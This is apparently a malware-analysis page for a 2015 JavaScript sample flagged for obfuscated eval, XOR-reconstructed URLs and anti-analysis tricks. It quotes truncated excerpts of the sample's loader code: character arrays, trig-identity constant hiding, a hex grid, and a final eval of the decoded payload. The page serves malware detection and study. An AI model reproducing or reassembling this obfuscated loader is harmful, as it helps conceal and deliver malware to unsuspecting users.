Suspicious 80% javascript-malware-collection Download

20151217_16b232a89534be2123837717f6a7ad53.js

Obfuscated eval, XOR C2, anti-analysis

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression
SHA-25616e93b48b69a4125c29ae6e8ecbedf8c8b199297287516403eaaf76ed2b485e5

Evidence

Builds characters with String.fromCharCode line 2
2:154… '#','2','4','u',':','d','G',']','T',':','E',',','M','(','q','#',String.fromCharCode(10),'N','3','b','X','4','?','R','_','_','D','-','/','g','r',String.fromCharCode(13),'!','h','l','F','#','o','$','(','P','k','T' …
XOR URL reconstruction call line 2
2:1854… '5','Z','Y','@','u','+','S','Z','G','`','A','(','h','[','9','&',String.fromCharCode(92),'t',']',']','z','"','@','^','(','G','9','t','^','_','^','Y','M','S','U','V','s','`','#','a',':','N','c','N','b','p','O','I','E','n','%','S','c','-','/','s','%','(','d','b','c','(','e …
Calls JavaScript toString conversion method lines 4–7
4:44… FqPmKW){AOie=RmIxmzyKBAegSbiks(ALvRwlkikmY,BKjeKHakOCJjq);FHHnm=AOie.toString(xXFqPmKW);return FHHnm;}
5function hUljrYnKgyLAxCA(fegBooHFEiDWfBEIW,XtowFGzxLvKUXAPLXeaCExOQaihqnZFYSt,zDGWKOzVMGYFbYHccHPbMiFSPWVFfgHnTse){eval(fegBooHFEiDWfBEIW);}
6function RHJksXioMbYhBcoILIeHIoiTEoDVgVhpBeebpovhLlToIpQwmNhqsd(PAqnTQbNpTMcf,ThkJUJaiieNGoG){ return ussxLQk[TmicSEoP[yPobr(PAqnTQbNpTMcf[ThkJUJaiieNGoG],(27197+803)/1000,(4684+956)/564)]];}
7function AxCWysR(azbBLBFauxIUOGtkAgXtGfaisPWOrtMpaHlD) {return !onUcWmfvcwM(mnICxVGwCxZbipY(azbBLBFauxIUOGtkAgXtGfais …
Dense indexed short-token grid lines 12–13
12:33… CgtAFHU,WptkHEVfLrG) {sffSviWaZBiYwi[NbBlXxCgtAFHU]=WptkHEVfLrG;}
13var y = new Array();y[0]=[];y[0][0]='d';y[0][1]='a';y[0][2]='d';y[0][3]='a';y[0][4]='46';y[0][5]='3d';y[0][6]='42';y[0][7]='14';y[0][8]='49';y[0][9]='14';y[0][10]='25';y[0][11]='14';y[0][12]='16';y[0][13]='47';y[0][14]='3k';y[0][15]='3d';y[0][16]='44';y[0][17]='3g';y[0][18]='3l';y[0][19]='3g';y[0][20]='49';y[0][21]='3 …
Numeric sine-square obfuscation expression lines 19–22
19:30… ],y[4],y[5]];
20var fIworhUBo=[];
21function fhkelrTaejKwkXNrV(cvyqP){DyxctUraWGj= '';ruXPuFcKJSc=Math.round((Math.pow(Math.sin(828), 2) + Math.pow(Math.cos(828), 2) - 1));while(true){if (ruXPuFcKJSc >= (5585+85)/945){break;}fIworhUBo[ruXPuFcKJSc]=Math.round((Math.pow(Math.sin(526), 2) + Math.pow(Math.cos(526), 2) - 1)); while(true) { if(fIworhUBo[ruXPuFcKJSc] > cvyqP[ruXPuFcKJSc].length-(676+241)/917) { break; } if (AxCWysR(yPobr(cvyqP[ruXPuFcKJSc][fIworhUBo[ruXPuFcKJSc]],(17562+498)/645,(9384+116)/950))) {DyxctUraWGj += RHJksXioMbYhBcoILIeHIoiTEoDVgVhpBeebpovhLlToIpQwmNhqsd([cvyqP[ruXPuFcKJSc][fIworhUBo[ruXPuFcKJSc]]], Math.round((Math.pow(Math.sin(297), 2) + Math.pow(Math.cos(297), 2) - 1)));} fIworhUBo[ruXPuFcKJSc]++;}ruXPuFcKJSc++;} return DyxctUraWGj}
22var kjWJCfFilLXWtmROJdMRJSJEVffvjOeUB = 'GTvZSnZKmFSvncSpVRCrGaDustEoHPGrBIqt';var KfTnaJaTYwhHsQIdsPHPieyhtkukOshm = 'qGDNoyeTucpkbLcQhGrEIlqEyWOmbFofbLsC';hUljrYnKgyLAxCA(fhkelrTaejKwkXNrV(cvyqP),kjWJCfFilLXWtmROJdMRJSJEVffvjOeUB,KfTnaJaTYwhHsQIdsPHPieyhtkukOshm);

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.